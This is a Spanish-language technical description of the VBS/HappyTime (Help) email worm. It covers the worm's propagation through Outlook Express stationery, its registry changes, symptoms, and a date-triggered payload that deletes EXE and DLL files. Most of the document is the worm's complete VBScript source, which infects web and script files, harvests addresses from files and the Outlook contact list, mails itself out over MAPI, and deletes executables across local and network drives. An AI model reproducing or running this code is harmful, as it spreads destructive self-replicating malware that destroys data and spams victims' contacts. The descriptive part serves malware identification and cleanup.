Nombre: VBS/Help 
Alias: VBS/HappyTime.A, VBS/Haptime.A, Happytime, VBS/Haptime@mm, Happytime.A, VBS/HappyTime, VBS_HappyTime.A 
Categoras del virus: Virus de Visual Basic Script 
Reparable?: Si 
Fecha de aparicin: 29/04/2001 
   
   
Descripcin breve:  

  Se trata de un virus de Visual Basic Script que infecta ficheros con las siguientes extensiones: HTML, HTM; ASP, VBS y HTT. Para su propagacin utiliza Outlook Express al estilo de los gusanos pero no como un fichero adjunto al mensaje sino como cdigo script, oculto dentro del diseo de fondo por defecto de los mensajes. En realidad esto es un documento HTML donde se encuentra el script del virus.  

  Como efecto destructivo, si en el momento de su activacin la suma del da y el mes es igual a 13, el virus pasa de infectar ficheros con extensiones HTM, HTM, ASP, VBS y HTT a buscar y eliminar ficheros con extenciones DLL y EXE. Todo esto es realizado en todas unidades de disco tanto locales como de red.  
 
  
Modo de propagacin:  
   
  Este virus utiliza el correo electrnico para propagarse a otros sistemas. Para hacer esto, el virus oculta su cdigo en el documento HTML que sirve de fondo a los mensajes enviados con Outlook Express. Es en este documento HTML donde se oculta el script del virus. 


Sntomas de infeccin:  

  Si en el momento de su activacin el valor resultante de la suma de del da y el mes es igual a 13, el virus dejar de infectar ficheros con extensiones HTML; HTM,  ASP, VBS y HTT y pasar a buscar y eliminar ficheros con extensiones EXE y DLL. El virus realizar todas estas acciones en todas las unidades tanto locales como de red.   

  Por otra parte, en los ficheros generados por el virus, as como en aquellos que infecta, se puede ver el siguiente texto:  

          Rem I am sorry! Happy time  

  Como sntomas de la presencia del virus en el sistema podemos destacar la creacin de de los archivos HELP.HTA y HELP.VBS en la primera carpeta que encuentre en la unidad C:. Estos ficheros contienen el cdigo del virus con el formato adecuado a cada tipo de fichero.   

  A continuacin se copia en el directorio Windows, en formato HTML con los siguientes nombres: HELP.HTM y UNTITLED.HTM. El primero de estos ficheros es utilzado por el virus para ejecutarse de modo automtico siempre que el escritorio est configurado para que se muestre como una pgina Web. Para lograr esto, el virus configura este fichero como papel de escritorio a travs de la siguiente entrada del registro de Windows:   

          HKEY_CURRENT_USER\Control Panel\Desktop\wallPaper="C:\WINDOWS\Help.htm  
   
   
Mtodos de infeccin:  
   
  Para su propagacin a travs del correo electrnico, el virus utiliza Outlook Express, configurando el archivo UNTITLED.HTM, que cre en C:\WINDOWS, como diseo de fondo por defecto para los mensajes creado con este programa de correo.  

  Esto lo consigue alterando el contenido de las siguientes claves de registro:  

HKEY_CURRENT_USER\Identities\{USERID}\Software\Microsoft\Outlook Express\5.0\Mail\Message Send HTML="1" 
  
HKEY_CURRENT_USER\Identities\{USERID}\Software\Microsoft\Outlook Express\5.0\Mail\Compose Use Stationery="1" 
  
HKEY_CURRENT_USER\Identities\{USERID}\Software\Microsoft\Outlook Express\5.0\Mail\Stationery Name="C:\WINDOWS\Untitled.htm" 

  El valor {USERID} depende del usuario que est activo en ese momento, tomando el virus este valor de la siguiente clave de registro:  

HKEY_CURRENT_USER\Identities\Default User ID="{USERID}"  

  Despus de esto, el virus busca todos los ficheros con extensin .HTT dentro de la carpeta WEB de Windows. Este es el lugar donde se almacenan las vistas en formato HTML de las carpetas del sistema. Por este motivo, si est activa opcin que permite ver como una pgina WEB ciertas carpetas del sistema como pueden ser "Mi PC", "Panel de Control", provocaremos la activacin del virus al abrir stas.  

  Una vez ha realizado todos estos procesos, es decir, en las posteriores ejecuciones, se dedicar a recorrer todas las carpetas de todas las unidades mapeadas, tanto locales como remotas (red), en busca de ficheros con extensin HTML, HTM, ASP o VBS. Cuando encuentre ficheros con estas extensiones, procede a infectarlos. Para no dar error en la ejecucin de los archivos infectados, el virus envuelve su cdigo con las etiquetas adecuadas en funcin del tipo de fichero que infecta. Tambin busca direcciones de correo dentro de los ficheros que infecta, e intenta enviar un mensaje a las direcciones que encuentra.

  Si la suma del da actual ms el mes actual es igual a 13, el virus deja de infectar ficheros y procede a borrar los ficheos que encuentre con extensiones .EXE y .DLL. El virus trata de localizar estos ficheros a travs de todas las carpetas de todas las unidades locales y de red.  

  Adicionalmente, crea otras 3 claves de registro, en las que mantiene varios valores que actualiza constantemente. Entre ellos se encuentra un contador y el nombre y ruta del fichero que actualmente esta infectando o borrando. Dichas claves son las siguientes:  

HKEY_CURRENT_USER\Software\Help\Count="x" 
Esta clave es el numero de veces que se ha ejecutado.  
  
HKEY_CURRENT_USER\Software\Help\FileName="nombrefichero" 
Esta clave hace referencia al nombre y ruta del fichero.  
  
HKEY_CURRENT_USER\Software\Help\wallPaper="C:\WINDOWS\Help.htm" 

  Finalmente, el virus intentar enviarse automticamente. Esto depender de si el valor del contador es mltiplo de 366, y de si el valor correspondiente a los segundos es par o impar. Al enviarse automticamente, el virus incluir el fichero UNTITLED.HTM.


CODIGO FUENTE HAPPY TIME
-------------------------------------------------

Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "Help\Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help\Count", Cn + 1
f1 = Rg(Ks & "Help\FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help\FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext <> "" Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" & "title>I am sorry!</title" & ">"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.vbs"
End Sub
Function Sa(n)
Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 Then
m = "<%" & VBSText & "%>"
End If
If Mid(n, 2, 1) = 1 Then
m = VBSText
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m & vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
Sc = True
Else
Sc = False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <> "" Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
IsMail = True
End If
End If
End Function
Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs = f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) = "vbscript" Then
If Sc(ws.Text) Then
Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv = False
Else
Iv = True
End If
End Function
Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:\"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = ""
End If
End Function
Function Gsf()
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er Then
Gsf = "C:\"
Else
Gsf = m
End If
End Function
Function Lhtml()
Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function
Function Lscript(S)
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i > 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 & "mailto" & ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds & m & vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf & "\Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function
Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf & "\Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function

------------------------------------------- FIN